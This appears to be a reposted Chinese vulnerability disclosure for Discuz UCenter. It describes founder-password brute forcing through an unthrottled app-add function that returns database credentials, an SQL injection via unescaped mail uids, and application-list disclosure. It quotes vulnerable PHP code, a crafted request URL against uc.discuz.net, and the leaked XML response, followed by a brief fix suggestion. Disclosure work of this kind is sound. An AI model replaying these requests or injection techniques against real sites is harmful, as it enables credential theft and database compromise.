来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 一个有条件的SQL注射和两个小问题。1,暴力破解。ucserver的默认管理员登录需要输入验证码,并且还有登录次数的限制,但是在: control app php 内是没有限制登录的次数的function onadd()...
一个有条件的SQL注射和两个小问题。 1,暴力破解。
function onadd() { $ucfounderpw = getgpc('ucfounderpw', 'P'); $apptype = getgpc('apptype', 'P'); $appname = getgpc('appname', 'P'); $appurl = getgpc('appurl', 'P'); $appip = getgpc('appip', 'P'); $viewprourl = getgpc('viewprourl', 'P'); $appcharset = getgpc('appcharset', 'P'); $appdbcharset = getgpc('appdbcharset', 'P'); $apptagtemplates = getgpc('apptagtemplates', 'P'); $appallowips = getgpc('allowips', 'P'); if(md5(md5($ucfounderpw).UC_FOUNDERSALT) == UC_FOUNDERPW || (strlen($ucfounderpw) == 32 && $ucfounderpw == md5(UC_FOUNDERPW))) {
else { //$return = "UC_STATUS_OK|$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET; $return = "$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET; }
function onadd() { $this->load('mail'); $mail = array(); $mail['appid']= $this->app['appid']; $mail['uids']= explode(',', $this->input('uids')); $mail['emails']= explode(',', $this->input('emails')); $mail['subject']= $this->input('subject'); $mail['message']= $this->input('message'); $mail['charset']= $this->input('charset'); $mail['htmlon']= intval($this->input('htmlon')); $mail['level']= abs(intval($this->input('level'))); $mail['frommail']= $this->input('frommail'); $mail['dateline']= $this->time; return $_ENV['mail']->add($mail); }
$mail['email_to'] = array(); $uids = 0; foreach($mail['uids'] as $uid) { if(empty($uid)) continue; $uids .= ','.$uid; } $users = $this->db->fetch_all("SELECT uid, username, email FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)");
function onls() { $this->init_input(); $applist = $_ENV['app']->get_apps('appid, type, name, url, tagtemplates, viewprourl, synlogin'); $applist2 = array(); foreach($applist as $key => $app) { $app['tagtemplates'] = $this->unserialize($app['tagtemplates']); $applist2[$app['appid']] = $app; } return $applist2; }
http://uc.discuz.net/images/camera.swf?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048
?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048
<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="14"> <item id="appid"><![CDATA[14]]></item> <item id="type"><![CDATA[UCHOME]]></item> <item id="name"><![CDATA[uchome]]></item> <item id="url"><![CDATA[http://u.discuz.net/home]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[0]]></item> </item> <item id="9"> <item id="appid"><![CDATA[9]]></item> <item id="type"><![CDATA[OTHER]]></item> <item id="name"><![CDATA[Manyou_UChome]]></item> <item id="url"><![CDATA[http://uchome.developer.manyou.com/uchome]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[/space.php?uid=%s]]></item> <item id="synlogin"><![CDATA[1]]></item> </item> <item id="11"> <item id="appid"><![CDATA[11]]></item> <item id="type"><![CDATA[OTHER]]></item> <item id="name"><![CDATA[手握手]]></item> <item id="url"><![CDATA[http://sws.discuz.net/]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[]]></item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[0]]></item> </item> <item id="13"> <item id="appid"><![CDATA[13]]></item> <item id="type"><![CDATA[]]></item> <item id="name"><![CDATA[Discuz!]]></item> <item id="url"><![CDATA[http://www.discuz.net/]]></item> <item id="tagtemplates"> <item id="template"><![CDATA[<a href="{url}?sid=" target="_blank">{subject}</a>]]></item> <item id="fields"> <item id="subject"><![CDATA[标题]]></item> <item id="uid"><![CDATA[用户 ID]]></item> <item id="username"><![CDATA[发帖者]]></item> <item id="dateline"><![CDATA[日期]]></item> <item id="url"><![CDATA[主题地址]]></item> </item> </item> <item id="viewprourl"><![CDATA[]]></item> <item id="synlogin"><![CDATA[1]]></item> </item> </root>
漏洞证明:
修复方案:uc的onls用不上的话可以去掉或者做限制。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com